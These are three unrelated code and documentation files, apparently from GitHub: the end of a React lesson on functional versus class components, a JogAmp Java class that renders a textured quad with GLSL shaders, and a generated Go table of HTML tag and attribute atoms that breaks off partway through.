Stateless Components - Involve less complicated and lengthy syntax. - Can be understood more quickly because of their short, declaritive nature. - Are easier to test and debug because they are `deterministic`, i.e. given a set of props, they **always** return the same JSX. - In future releases they will provide better **performance** because they do not inherit functionality provided by the Component class. - Are more reusable because by only providing the most basic functionality with fewer dependencies, functional components can be reused more often. Functional Components with `useState` - Also involve less lengthy syntax and complicated lifecycle methods - Often result in smaller bundle size when deployed in production Class Components - Provide a set of lifecycle methods from their parent `Component` class which are called as the class componenent is created, mounted, rendered, and eventually, removed. - Provide an alternative method to manage a component's state using the `setState` method. In general, you should default to using **only** a mix of stateless and stateful functional components unless a class is required. ## Recap - A React component can be written as either a function or a class. - A class component extends React's `Component` class. - A class component **must** have a `render` method. - `props` are passed into a class component from it's constructor method. ## Additional Resources - [React Documentation on state & props](https://reactjs.org/docs/components-and-props.html) - [React Functional or Class Components: Everything you need to know](https://programmingwithmosh.com/react/react-functional-components/)
{ "pile_set_name": "Github" }
/** * Copyright 2012 JogAmp Community. All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY JogAmp Community ``AS IS'' AND ANY EXPRESS OR IMPLIED * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND * FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL JogAmp Community OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * The views and conclusions contained in the software and documentation are those of the * authors and should not be interpreted as representing official policies, either expressed * or implied, of JogAmp Community. */ package jogamp.opengl.util.glsl; import java.nio.FloatBuffer; import com.jogamp.opengl.util.GLArrayDataServer; import com.jogamp.opengl.util.PMVMatrix; import com.jogamp.opengl.util.glsl.ShaderCode; import com.jogamp.opengl.util.glsl.ShaderProgram; import com.jogamp.opengl.GL; import com.jogamp.opengl.GL2ES2; import com.jogamp.opengl.GLArrayData; import com.jogamp.opengl.GLException; import com.jogamp.opengl.GLUniformData; import com.jogamp.opengl.fixedfunc.GLMatrixFunc; public class GLSLTextureRaster { private final boolean textureVertFlipped; private final int textureUnit; private ShaderProgram sp; private PMVMatrix pmvMatrix; private GLUniformData pmvMatrixUniform; private GLUniformData activeTexUniform; private GLArrayDataServer interleavedVBO; public GLSLTextureRaster(final int textureUnit, final boolean textureVertFlipped) { this.textureVertFlipped = textureVertFlipped; this.textureUnit = textureUnit; } public int getTextureUnit() { return textureUnit; } static final String shaderBasename = "texture01_xxx"; static final String shaderSrcPath = "../../shader"; static final String shaderBinPath = "../../shader/bin"; public void init(final GL2ES2 gl) { // Create & Compile the shader objects final ShaderCode rsVp = ShaderCode.create(gl, GL2ES2.GL_VERTEX_SHADER, this.getClass(), shaderSrcPath, shaderBinPath, shaderBasename, true); final ShaderCode rsFp = ShaderCode.create(gl, GL2ES2.GL_FRAGMENT_SHADER, this.getClass(), shaderSrcPath, shaderBinPath, shaderBasename, true); rsVp.defaultShaderCustomization(gl, true, true); rsFp.defaultShaderCustomization(gl, true, true); // Create & Link the shader program sp = new ShaderProgram(); sp.add(rsVp); sp.add(rsFp); if(!sp.link(gl, System.err)) { throw new GLException("Couldn't link program: "+sp); } sp.useProgram(gl, true); // setup mgl_PMVMatrix pmvMatrix = new PMVMatrix(); pmvMatrix.glMatrixMode(GLMatrixFunc.GL_PROJECTION); pmvMatrix.glLoadIdentity(); pmvMatrix.glMatrixMode(GLMatrixFunc.GL_MODELVIEW); pmvMatrix.glLoadIdentity(); pmvMatrixUniform = new GLUniformData("mgl_PMVMatrix", 4, 4, pmvMatrix.glGetPMvMatrixf()); // P, Mv if( pmvMatrixUniform.setLocation(gl, sp.program()) < 0 ) { throw new GLException("Couldn't locate "+pmvMatrixUniform+" in shader: "+sp); } gl.glUniform(pmvMatrixUniform); activeTexUniform = new GLUniformData("mgl_Texture0", textureUnit); if( activeTexUniform.setLocation(gl, sp.program()) < 0 ) { throw new GLException("Couldn't locate "+activeTexUniform+" in shader: "+sp); } gl.glUniform(activeTexUniform); final float[] s_quadTexCoords; if( textureVertFlipped ) { s_quadTexCoords = s_quadTexCoords01; } else { s_quadTexCoords = s_quadTexCoords00; } interleavedVBO = GLArrayDataServer.createGLSLInterleaved(3+2, GL.GL_FLOAT, false, 2*4, GL.GL_STATIC_DRAW); { final GLArrayData vArrayData = interleavedVBO.addGLSLSubArray("mgl_Vertex", 3, GL.GL_ARRAY_BUFFER); if( vArrayData.setLocation(gl, sp.program()) < 0 ) { throw new GLException("Couldn't locate "+vArrayData+" in shader: "+sp); } final GLArrayData tArrayData = interleavedVBO.addGLSLSubArray("mgl_MultiTexCoord", 2, GL.GL_ARRAY_BUFFER); if( tArrayData.setLocation(gl, sp.program()) < 0 ) { throw new GLException("Couldn't locate "+tArrayData+" in shader: "+sp); } final FloatBuffer ib = (FloatBuffer)interleavedVBO.getBuffer(); for(int i=0; i<4; i++) { ib.put(s_quadVertices, i*3, 3); ib.put(s_quadTexCoords, i*2, 2); } } interleavedVBO.seal(gl, true); interleavedVBO.enableBuffer(gl, false); sp.useProgram(gl, false); } public void reshape(final GL2ES2 gl, final int x, final int y, final int width, final int height) { if(null != sp) { pmvMatrix.glMatrixMode(GLMatrixFunc.GL_PROJECTION); pmvMatrix.glLoadIdentity(); pmvMatrix.glOrthof(-1.0f, 1.0f, -1.0f, 1.0f, 0.0f, 10.0f); pmvMatrix.glMatrixMode(GLMatrixFunc.GL_MODELVIEW); pmvMatrix.glLoadIdentity(); sp.useProgram(gl, true); gl.glUniform(pmvMatrixUniform); sp.useProgram(gl, false); } } public void dispose(final GL2ES2 gl) { if(null != pmvMatrixUniform) { pmvMatrixUniform = null; } pmvMatrix=null; if(null != interleavedVBO) { interleavedVBO.destroy(gl); interleavedVBO=null; } if(null != sp) { sp.destroy(gl); sp=null; } } public void display(final GL2ES2 gl) { if(null != sp) { sp.useProgram(gl, true); interleavedVBO.enableBuffer(gl, true); gl.glDrawArrays(GL.GL_TRIANGLE_STRIP, 0, 4); interleavedVBO.enableBuffer(gl, false); sp.useProgram(gl, false); } } private static final float[] s_quadVertices = { -1f, -1f, 0f, // LB 1f, -1f, 0f, // RB -1f, 1f, 0f, // LT 1f, 1f, 0f // RT }; private static final float[] s_quadTexCoords00 = { 0f, 0f, // LB 1f, 0f, // RB 0f, 1f, // LT 1f, 1f // RT }; private static final float[] s_quadTexCoords01 = { 0f, 1f, // LB 1f, 1f, // RB 0f, 0f, // LT 1f, 0f // RT }; }
{ "pile_set_name": "Github" }
// Code generated by go generate gen.go; DO NOT EDIT. //go:generate go run gen.go package atom const ( A Atom = 0x1 Abbr Atom = 0x4 Accept Atom = 0x1a06 AcceptCharset Atom = 0x1a0e Accesskey Atom = 0x2c09 Acronym Atom = 0xaa07 Action Atom = 0x27206 Address Atom = 0x6f307 Align Atom = 0xb105 Allowfullscreen Atom = 0x2080f Allowpaymentrequest Atom = 0xc113 Allowusermedia Atom = 0xdd0e Alt Atom = 0xf303 Annotation Atom = 0x1c90a AnnotationXml Atom = 0x1c90e Applet Atom = 0x31906 Area Atom = 0x35604 Article Atom = 0x3fc07 As Atom = 0x3c02 Aside Atom = 0x10705 Async Atom = 0xff05 Audio Atom = 0x11505 Autocomplete Atom = 0x2780c Autofocus Atom = 0x12109 Autoplay Atom = 0x13c08 B Atom = 0x101 Base Atom = 0x3b04 Basefont Atom = 0x3b08 Bdi Atom = 0xba03 Bdo Atom = 0x14b03 Bgsound Atom = 0x15e07 Big Atom = 0x17003 Blink Atom = 0x17305 Blockquote Atom = 0x1870a Body Atom = 0x2804 Br Atom = 0x202 Button Atom = 0x19106 Canvas Atom = 0x10306 Caption Atom = 0x23107 Center Atom = 0x22006 Challenge Atom = 0x29b09 Charset Atom = 0x2107 Checked Atom = 0x47907 Cite Atom = 0x19c04 Class Atom = 0x56405 Code Atom = 0x5c504 Col Atom = 0x1ab03 Colgroup Atom = 0x1ab08 Color Atom = 0x1bf05 Cols Atom = 0x1c404 Colspan Atom = 0x1c407 Command Atom = 0x1d707 Content Atom = 0x58b07 Contenteditable Atom = 0x58b0f Contextmenu Atom = 0x3800b Controls Atom = 0x1de08 Coords Atom = 0x1ea06 Crossorigin Atom = 0x1fb0b Data Atom = 0x4a504 Datalist Atom = 0x4a508 Datetime Atom = 0x2b808 Dd Atom = 0x2d702 Default Atom = 0x10a07 Defer Atom = 0x5c705 Del Atom = 0x45203 Desc Atom = 0x56104 Details Atom = 0x7207 Dfn Atom = 0x8703 Dialog Atom = 0xbb06 Dir Atom = 0x9303 Dirname Atom = 0x9307 Disabled Atom = 0x16408 Div Atom = 0x16b03 Dl Atom = 0x5e602 Download Atom = 0x46308 Draggable Atom = 0x17a09 Dropzone Atom = 0x40508 Dt Atom = 0x64b02 Em Atom = 0x6e02 Embed Atom = 0x6e05 Enctype Atom = 0x28d07 Face Atom = 0x21e04 Fieldset Atom = 0x22608 Figcaption Atom = 0x22e0a Figure Atom = 0x24806 Font Atom = 0x3f04 Footer Atom = 0xf606 For Atom = 0x25403 ForeignObject Atom = 0x2540d Foreignobject Atom = 0x2610d Form Atom = 0x26e04 Formaction Atom = 0x26e0a Formenctype Atom = 0x2890b Formmethod Atom = 0x2a40a Formnovalidate Atom = 0x2ae0e Formtarget Atom = 0x2c00a Frame Atom = 0x8b05 Frameset Atom = 0x8b08 H1 Atom = 0x15c02 H2 Atom = 0x2de02 H3 Atom = 0x30d02 H4 Atom = 0x34502 H5 Atom = 0x34f02 H6 Atom = 0x64d02 Head Atom = 0x33104 Header Atom = 0x33106 Headers Atom = 0x33107 Height Atom = 0x5206 Hgroup Atom = 0x2ca06 Hidden Atom = 0x2d506 High Atom = 0x2db04 Hr Atom = 0x15702 Href Atom = 0x2e004 Hreflang Atom = 0x2e008 Html Atom = 0x5604 HttpEquiv Atom = 0x2e80a I Atom = 0x601 Icon Atom = 0x58a04 Id Atom = 0x10902 Iframe Atom = 0x2fc06 Image Atom = 0x30205 Img Atom = 0x30703 Input Atom = 0x44b05 Inputmode Atom = 0x44b09 Ins Atom = 0x20403 Integrity Atom = 0x23f09 Is Atom = 0x16502 Isindex Atom = 0x30f07 Ismap Atom = 0x31605 Itemid Atom = 0x38b06 Itemprop Atom = 0x19d08 Itemref Atom = 0x3cd07 Itemscope Atom = 0x67109 Itemtype Atom = 0x31f08 Kbd Atom = 0xb903 Keygen Atom = 0x3206 Keytype Atom = 0xd607 Kind Atom = 0x17704 Label Atom = 0x5905 Lang Atom = 0x2e404 Legend Atom = 0x18106 Li Atom = 0xb202 Link Atom = 0x17404 List Atom = 0x4a904 Listing Atom = 0x4a907 Loop Atom = 0x5d04 Low Atom = 0xc303 Main Atom = 0x1004 Malignmark Atom = 0xb00a Manifest Atom = 0x6d708 Map Atom = 0x31803 Mark Atom = 0xb604 Marquee Atom = 0x32707 Math Atom = 0x32e04 Max Atom = 0x33d03 Maxlength Atom = 0x33d09 Media Atom = 0xe605 Mediagroup Atom = 0xe60a Menu Atom = 0x38704 Menuitem Atom = 0x38708 Meta Atom = 0x4b804 Meter Atom = 0x9805 Method Atom = 0x2a806 Mglyph Atom = 0x30806 Mi Atom = 0x34702 Min Atom = 0x34703 Minlength Atom = 0x34709 Mn Atom = 0x2b102 Mo Atom = 0xa402 Ms Atom = 0x67402 Mtext Atom = 0x35105 Multiple Atom = 0x35f08 Muted Atom = 0x36705 Name Atom = 0x9604 Nav Atom = 0x1303 Nobr Atom = 0x3704 Noembed Atom = 0x6c07 Noframes Atom = 0x8908 Nomodule Atom = 0xa208 Nonce Atom = 0x1a605 Noscript Atom = 0x21608 Novalidate Atom = 0x2b20a Object Atom = 0x26806 Ol Atom = 0x13702 Onabort Atom = 0x19507 Onafterprint Atom = 0x2360c Onautocomplete Atom = 0x2760e Onautocompleteerror Atom = 0x27613 Onauxclick Atom = 0x61f0a Onbeforeprint Atom = 0x69e0d Onbeforeunload Atom = 0x6e70e Onblur Atom = 0x56d06 Oncancel Atom = 0x11908 Oncanplay Atom = 0x14d09 Oncanplaythrough Atom = 0x14d10 Onchange Atom = 0x41b08 Onclick Atom = 0x2f507 Onclose Atom = 0x36c07 Oncontextmenu Atom = 0x37e0d Oncopy Atom = 0x39106 Oncuechange Atom = 0x3970b Oncut Atom = 0x3a205 Ondblclick Atom = 0x3a70a Ondrag Atom = 0x3b106 Ondragend Atom = 0x3b109 Ondragenter Atom = 0x3ba0b Ondragexit Atom = 0x3c50a Ondragleave Atom = 0x3df0b Ondragover Atom = 0x3ea0a Ondragstart Atom = 0x3f40b Ondrop Atom = 0x40306 Ondurationchange Atom = 0x41310 Onemptied Atom = 0x40a09 Onended Atom = 0x42307 Onerror Atom = 0x42a07 Onfocus Atom = 0x43107 Onhashchange Atom = 0x43d0c Oninput Atom = 0x44907 Oninvalid Atom = 0x45509 Onkeydown Atom = 0x45e09 Onkeypress Atom = 0x46b0a Onkeyup Atom = 0x48007 Onlanguagechange Atom = 0x48d10 Onload Atom = 0x49d06 Onloadeddata Atom = 0x49d0c Onloadedmetadata Atom = 0x4b010 Onloadend Atom = 0x4c609 Onloadstart Atom = 0x4cf0b Onmessage Atom = 0x4da09 Onmessageerror Atom = 0x4da0e Onmousedown Atom = 0x4e80b Onmouseenter Atom = 0x4f30c Onmouseleave Atom = 0x4ff0c Onmousemove Atom = 0x50b0b Onmouseout Atom = 0x5160a Onmouseover Atom = 0x5230b Onmouseup Atom = 0x52e09 Onmousewheel Atom = 0x53c0c Onoffline Atom = 0x54809 Ononline Atom = 0x55108 Onpagehide Atom = 0x5590a Onpageshow Atom = 0x5730a Onpaste Atom = 0x57f07 Onpause Atom = 0x59a07 Onplay Atom = 0x5a406 Onplaying Atom = 0x5a409 Onpopstate Atom = 0x5ad0a Onprogress Atom = 0x5b70a Onratechange Atom = 0x5cc0c Onrejectionhandled Atom = 0x5d812 Onreset Atom = 0x5ea07 Onresize Atom = 0x5f108 Onscroll Atom = 0x60008 Onsecuritypolicyviolation Atom = 0x60819 Onseeked Atom = 0x62908 Onseeking Atom = 0x63109 Onselect Atom = 0x63a08 Onshow Atom = 0x64406 Onsort Atom = 0x64f06 Onstalled Atom = 0x65909 Onstorage Atom = 0x66209 Onsubmit Atom = 0x66b08 Onsuspend Atom = 0x67b09 Ontimeupdate Atom = 0x400c Ontoggle Atom = 0x68408 Onunhandledrejection Atom = 0x68c14 Onunload Atom = 0x6ab08 Onvolumechange Atom = 0x6b30e Onwaiting Atom = 0x6c109 Onwheel Atom = 0x6ca07 Open Atom = 0x1a304 Optgroup Atom = 0x5f08 Optimum Atom = 0x6d107 Option Atom = 0x6e306 Output Atom = 0x51d06 P Atom = 0xc01 Param Atom = 0xc05 Pattern Atom = 0x6607 Picture Atom = 0x7b07 Ping Atom = 0xef04 Placeholder Atom = 0x1310b Plaintext Atom = 0x1b209 Playsinline Atom = 0x1400b Poster Atom = 0x2cf06 Pre Atom = 0x47003 Preload Atom = 0x48607 Progress Atom = 0x5b908 Prompt Atom = 0x53606 Public Atom = 0x58606 Q Atom = 0xcf01 Radiogroup Atom = 0x30a Rb Atom = 0x3a02 Readonly Atom = 0x35708 Referrerpolicy Atom = 0x3d10e Rel Atom = 0x48703 Required Atom = 0x24c08 Reversed Atom = 0x8008 Rows Atom = 0x9c04 Rowspan Atom = 0x9c07 Rp Atom = 0x23c02 Rt Atom = 0x19a02 Rtc Atom = 0x19a03 Ruby Atom = 0xfb04 S Atom = 0x2501 Samp Atom = 0x7804 Sandbox Atom = 0x12907 Scope Atom = 0x67505 Scoped Atom = 0x67506 Script Atom = 0x21806 Seamless Atom = 0x37108 Section Atom = 0x56807 Select Atom = 0x63c06 Selected Atom = 0x63c08 Shape Atom = 0x1e505 Size Atom = 0x5f504 Sizes Atom = 0x5f505 Slot Atom = 0x1ef04 Small Atom = 0x20605 Sortable Atom = 0x65108 Sorted Atom = 0x33706 Source Atom = 0x37806 Spacer Atom = 0x43706 Span Atom = 0x9f04 Spellcheck Atom = 0x4740a Src Atom = 0x5c003 Srcdoc Atom = 0x5c006 Srclang Atom = 0x5f907 Srcset Atom = 0x6f906 Start Atom = 0x3fa05 Step Atom = 0x58304 Strike Atom = 0xd206 Strong Atom = 0x6dd06 Style Atom = 0x6ff05 Sub Atom = 0x66d03 Summary Atom = 0x70407 Sup Atom = 0x70b03 Svg Atom = 0x70e03 System Atom = 0x71106 Tabindex Atom = 0x4be08 Table Atom = 0x59505 Target Atom = 0x2c406 Tbody Atom = 0x2705 Td Atom = 0x9202 Template Atom = 0x71408 Textarea Atom = 0x35208 Tfoot Atom = 0xf505 Th Atom = 0x15602 Thead Atom = 0x33005 Time Atom = 0x4204 Title Atom = 0x11005 Tr Atom = 0xcc02 Track Atom = 0x1ba05 Translate Atom = 0x1f209 Tt Atom = 0x6802 Type Atom = 0xd904 Typemustmatch Atom = 0x2900d U Atom = 0xb01 Ul Atom = 0xa702 Updateviacache Atom = 0x460e Usemap Atom = 0x59e06 Value Atom = 0x1505 Var Atom = 0x16d03 Video Atom = 0x2f105 Wbr Atom = 0x57c03 Width Atom = 0x64905 Workertype Atom = 0x71c0a Wrap Atom = 0x72604 Xmp Atom = 0x12f03 ) const hash0 = 0x81cdf10e const maxAtomLen = 25 var table = [1 << 9]Atom{ 0x1: 0xe60a, // mediagroup 0x2: 0x2e404, // lang 0x4: 0x2c09, // accesskey 0x5: 0x8b08, // frameset 0x7: 0x63a08, // onselect 0x8: 0x71106, // system 0xa: 0x64905, // width 0xc: 0x2890b, // formenctype 0xd: 0x13702, // ol 0xe: 0x3970b, // oncuechange 0x10: 0x14b03, // bdo 0x11: 0x11505, // audio 0x12: 0x17a09, // draggable 0x14: 0x2f105, // video 0x15: 0x2b102, // mn 0x16: 0x38704, // menu 0x17: 0x2cf06, // poster 0x19: 0xf606, // footer 0x1a: 0x2a806, // method 0x1b: 0x2b808, // datetime 0x1c: 0x19507, // onabort 0x1d: 0x460e, // updateviacache 0x1e: 0xff05, // async 0x1f: 0x49d06, // onload 0x21: 0x11908, // oncancel 0x22: 0x62908, // onseeked 0x23: 0x30205, // image 0x24: 0x5d812, // onrejectionhandled 0x26: 0x17404, // link 0x27: 0x51d06, // output 0x28: 0x33104, // head 0x29: 0x4ff0c, // onmouseleave 0x2a: 0x57f07, // onpaste 0x2b: 0x5a409, // onplaying 0x2c: 0x1c407, // colspan 0x2f: 0x1bf05, // color 0x30: 0x5f504, // size 0x31: 0x2e80a, // http-equiv 0x33: 0x601, // i 0x34: 0x5590a, // onpagehide 0x35: 0x68c14, // onunhandledrejection 0x37: 0x42a07, // onerror 0x3a: 0x3b08, // basefont 0x3f: 0x1303, // nav 0x40: 0x17704, // kind 0x41: 0x35708, // readonly 0x42: 0x30806, // mglyph 0x44: 0xb202, // li 0x46: 0x2d506, // hidden 0x47: 0x70e03, // svg 0x48: 0x58304, // step 0x49: 0x23f09, // integrity 0x4a: 0x58606, // public 0x4c: 0x1ab03, // col 0x4d: 0x1870a, // blockquote 0x4e: 0x34f02, // h5 0x50: 0x5b908, // progress 0x51: 0x5f505, // sizes 0x52: 0x34502, // h4 0x56: 0x33005, // thead 0x57: 0xd607, // keytype 0x58: 0x5b70a, // onprogress 0x59: 0x44b09, // inputmode 0x5a: 0x3b109, // ondragend 0x5d: 0x3a205, // oncut 0x5e: 0x43706, // spacer 0x5f: 0x1ab08, // colgroup 0x62: 0x16502, // is 0x65: 0x3c02, // as 0x66: 0x54809, // onoffline 0x67: 0x33706, // sorted 0x69: 0x48d10, // onlanguagechange 0x6c: 0x43d0c, // onhashchange 0x6d: 0x9604, // name 0x6e: 0xf505, // tfoot 0x6f: 0x56104, // desc 0x70: 0x33d03, // max 0x72: 0x1ea06, // coords 0x73: 0x30d02, // h3 0x74: 0x6e70e, // onbeforeunload 0x75: 0x9c04, // rows 0x76: 0x63c06, // select 0x77: 0x9805, // meter 0x78: 0x38b06, // itemid 0x79: 0x53c0c, // onmousewheel 0x7a: 0x5c006, // srcdoc 0x7d: 0x1ba05, // track 0x7f: 0x31f08, // itemtype 0x82: 0xa402, // mo 0x83: 0x41b08, // onchange 0x84: 0x33107, // headers 0x85: 0x5cc0c, // onratechange 0x86: 0x60819, // onsecuritypolicyviolation 0x88: 0x4a508, // datalist 0x89: 0x4e80b, // onmousedown 0x8a: 0x1ef04, // slot 0x8b: 0x4b010, // onloadedmetadata 0x8c: 0x1a06, // accept 0x8d: 0x26806, // object 0x91: 0x6b30e, // onvolumechange 0x92: 0x2107, // charset 0x93: 0x27613, // onautocompleteerror 0x94: 0xc113, // allowpaymentrequest 0x95: 0x2804, // body 0x96: 0x10a07, // default 0x97: 0x63c08, // selected 0x98: 0x21e04, // face 0x99: 0x1e505, // shape 0x9b: 0x68408, // ontoggle 0x9e: 0x64b02, // dt 0x9f: 0xb604, // mark 0xa1: 0xb01, // u 0xa4: 0x6ab08, // onunload 0xa5: 0x5d04, // loop 0xa6: 0x16408, // disabled 0xaa: 0x42307, // onended 0xab: 0xb00a, // malignmark 0xad: 0x67b09, // onsuspend 0xae: 0x35105, // mtext 0xaf: 0x64f06, // onsort 0xb0: 0x19d08, // itemprop 0xb3: 0x67109, // itemscope 0xb4: 0x17305, // blink 0xb6: 0x3b106, // ondrag 0xb7: 0xa702, // ul 0xb8: 0x26e04, // form 0xb9: 0x12907, // sandbox 0xba: 0x8b05, // frame 0xbb: 0x1505, // value 0xbc: 0x66209, // onstorage 0xbf: 0xaa07, // acronym 0xc0: 0x19a02, // rt 0xc2: 0x202, // br 0xc3: 0x22608, // fieldset 0xc4: 0x2900d, // typemustmatch 0xc5: 0xa208, // nomodule 0xc6: 0x6c07, // noembed 0xc7: 0x69e0d, // onbeforeprint 0xc8: 0x19106, // button 0xc9: 0x2f507, // onclick 0xca: 0x70407, // summary 0xcd: 0xfb04, // ruby 0xce: 0x56405, // class 0xcf: 0x3f40b, // ondragstart 0xd0: 0x23107, // caption 0xd4: 0xdd0e, // allowusermedia 0xd5: 0x4cf0b, // onloadstart 0xd9: 0x16b03, // div 0xda: 0x4a904, // list 0xdb: 0x32e04, // math 0xdc: 0x44b05, // input 0xdf: 0x3ea0a, // ondragover 0xe0: 0x2de02, // h2 0xe2: 0x1b209, // plaintext 0xe4: 0x4f30c, // onmouseenter 0xe7: 0x47907, // checked 0xe8: 0x47003, // pre 0xea: 0x35f08, // multiple 0xeb: 0xba03, // bdi 0xec: 0x33d09, // maxlength 0xed: 0xcf01, // q 0xee: 0x61f0a, // onauxclick 0xf0: 0x57c03, // wbr 0xf2: 0x3b04, // base 0xf3: 0x6e306, // option 0xf5: 0x41310, // ondurationchange 0xf7: 0x8908, // noframes 0xf9: 0x40508, // dropzone 0xfb: 0x67505, // scope 0xfc: 0x8008, // reversed 0xfd: 0x3ba0b, // ondragenter 0xfe: 0x3fa05, // start 0xff: 0x12f03, // xmp 0x100: 0x5f907, // srclang 0x101: 0x30703, // img 0x104: 0x101, // b 0x105: 0x25403, // for 0x106: 0x10705, // aside 0x107: 0x44907, // oninput 0x108: 0x35604, // area 0x109: 0x2a40a, // formmethod 0x10a: 0x72604, // wrap 0x10c: 0x23c02, // rp 0x10d: 0x46b0a, // onkeypress 0x10e: 0x6802, // tt 0x110: 0x34702, // mi 0x111: 0x36705, // muted 0x112: 0xf303, // alt 0x113: 0x5c504, // code 0x114: 0x6e02, // em 0x115: 0x3c50a, // ondragexit 0x117: 0x9f04, // span 0x119: 0x6d708, // manifest 0x11a: 0x38708, // menuitem 0x11b: 0x58b07, // content 0x11d: 0x6c109, // onwaiting 0x11f: 0x4c609, // onloadend 0x121: 0x37e0d, // oncontextmenu 0x123: 0x56d06, // onblur 0x124: 0x3fc07, // article 0x125: 0x9303, // dir 0x126: 0xef04, // ping 0x127: 0x24c08, // required 0x128: 0x45509, // oninvalid 0x129: 0xb105, // align 0x12b: 0x58a04, // icon 0x12c: 0x64d02, // h6 0x12d: 0x1c404, // cols 0x12e: 0x22e0a, // figcaption 0x12f: 0x45e09, // onkeydown 0x130: 0x66b08, // onsubmit 0x131: 0x14d09, // oncanplay 0x132: 0x70b03, // sup 0x133: 0xc01, // p 0x135: 0x40a09, // onemptied 0x136: 0x39106, // oncopy 0x137: 0x19c04, // cite 0x138: 0x3a70a, // ondblclick 0x13a: 0x50b0b, // onmousemove 0x13c: 0x66d03, // sub 0x13d: 0x48703, // rel 0x13e: 0x5f08, // optgroup 0x142: 0x9c07, // rowspan 0x143: 0x37806, // source 0x144: 0x21608, // noscript 0x145: 0x1a304, // open 0x146: 0x20403, // ins 0x147: 0x2540d, // foreignObject 0x148: 0x5ad0a, // onpopstate 0x14a: 0x28d07, // enctype 0x14b: 0x2760e, // onautocomplete 0x14c: 0x35208, // textarea 0x14e: 0x2780c, // autocomplete 0x14f: 0x15702, // hr 0x150: 0x1de08, // controls 0x151: 0x10902, // id 0x153: 0x2360c, // onafterprint 0x155: 0x2610d, // foreignobject 0x156: 0x32707, // marquee 0x157: 0x59a07, // onpause 0x158: 0x5e602, // dl 0x159: 0x5206, // height 0x15a: 0x34703, // min 0x15b: 0x9307, // dirname 0x15c: 0x1f209, // translate 0x15d: 0x5604, // html 0x15e: 0x34709, // minlength 0x15f: 0x48607, // preload 0x160: 0x71408, // template 0x161: 0x3df0b, // ondragleave 0x162: 0x3a02, // rb 0x164: 0x5c003, // src 0x165: 0x6dd06, // strong 0x167: 0x7804, // samp 0x168: 0x6f307, // address 0x169: 0x55108, // ononline 0x16b: 0x1310b, // placeholder 0x16c: 0x2c406, // target 0x16d: 0x20605, // small 0x16e: 0x6ca07, // onwheel 0x16f: 0x1c90a, // annotation 0x170: 0x4740a, // spellcheck 0x171: 0x7207, // details 0x172: 0x10306, // canvas 0x173: 0x12109, // autofocus 0x174: 0xc05, // param 0x176: 0x46308, // download 0x177: 0x45203, // del 0x178: 0x36c07, // onclose 0x179: 0xb903, // kbd 0x17a: 0x31906, // applet 0x17b: 0x2e004, // href 0x17c: 0x5f108, // onresize 0x17e: 0x49d0c, // onloadeddata 0x180: 0xcc02, // tr 0x181: 0x2c00a, // formtarget 0x182: 0x11005, // title 0x183: 0x6ff05, // style 0x184: 0xd206, // strike 0x185: 0x59e06, // usemap 0x186: 0x2fc06, // iframe 0x187: 0x1004, // main 0x189: 0x7b07, // picture 0x18c: 0x31605, // ismap 0x18e: 0x4a504, // data 0x18f: 0x5905, // label 0x191: 0x3d10e, // referrerpolicy 0x192: 0x15602, // th 0x194: 0x53606, // prompt 0x195: 0x56807, // section 0x197: 0x6d107, // optimum 0x198: 0x2db04, // high 0x199: 0x15c02, // h1 0x19a: 0x65909, // onstalled 0x19b: 0x16d03, // var 0x19c: 0x4204, // time 0x19e: 0x67402, // ms 0x19f: 0x33106, // header 0x1a0: 0x4da09, // onmessage 0x1a1: 0x1a605, // nonce 0x1a2: 0x26e0a, // formaction 0x1a3: 0x22006, // center 0x1a4: 0x3704, // nobr 0x1a5: 0x59505, // table 0x1a6: 0x4a907, // listing 0x1a7: 0x18106, // legend 0x1a9: 0x29b09, // challenge 0x1aa: 0x24806, // figure 0x1ab: 0xe605, // media 0x1ae: 0xd904, // type 0x1af: 0x3f04, // font 0x1b0: 0x4da0e, // onmessageerror 0x1b1: 0x37108, // seamless 0x1b2: 0x8703, // dfn 0x1b3: 0x5c705, // defer 0x1b4: 0xc303, // low 0x1b5: 0x19a03, // rtc 0x1b6: 0x5230b, // onmouseover 0x1b7: 0x2b20a, // novalidate 0x1b8: 0x71c0a, // workertype 0x1ba: 0x3cd07, // itemref 0x1bd: 0x1, // a 0x1be: 0x31803, // map 0x1bf: 0x400c, // ontimeupdate 0x1c0: 0x15e07, // bgsound 0x1c1: 0x3206, // keygen 0x1c2: 0x2705, // tbody 0x1c5: 0x64406, // onshow 0x1c7: 0x2501, // s 0x1c8: 0x6607, // pattern 0x1cc: 0x14d10, // oncanplaythrough 0x1ce: 0x2d702, // dd 0x1cf: 0x6f906, // srcset 0x1d0: 0x17003, // big 0x1d2: 0x65108, // sortable 0x1d3: 0x48007, // onkeyup 0x1d5: 0x5a406, // onplay 0x1d7: 0x4b804, // meta 0x1d8: 0x40306, // ondrop 0x1da: 0x60008, // onscroll 0x1db: 0x1fb0b, // crossorigin 0x1dc: 0x5730a, // onpageshow 0x1dd: 0x4, // abbr 0x1de: 0x9202, // td 0x1df: 0x58b0f, // contenteditable 0x1e0: 0x27206, // action 0x1e1: 0x1400b, // playsinline 0x1e2: 0x43107, // onfocus 0x1e3: 0x2e008, // hreflang 0x1e5: 0x5160a, // onmouseout 0x1e6: 0x5ea07, // onreset 0x1e7: 0x13c08, // autoplay 0x1e8: 0x63109, // onseeking 0x1ea: 0x67506, // scoped 0x1ec: 0x30a, // radiogroup 0x1ee: 0x3800b, // contextmenu 0x1ef: 0x52e09, // onmouseup 0x1f1: 0x2ca06, // hgroup 0x1f2: 0x2080f, // allowfullscreen 0x1f3: 0x4be08, 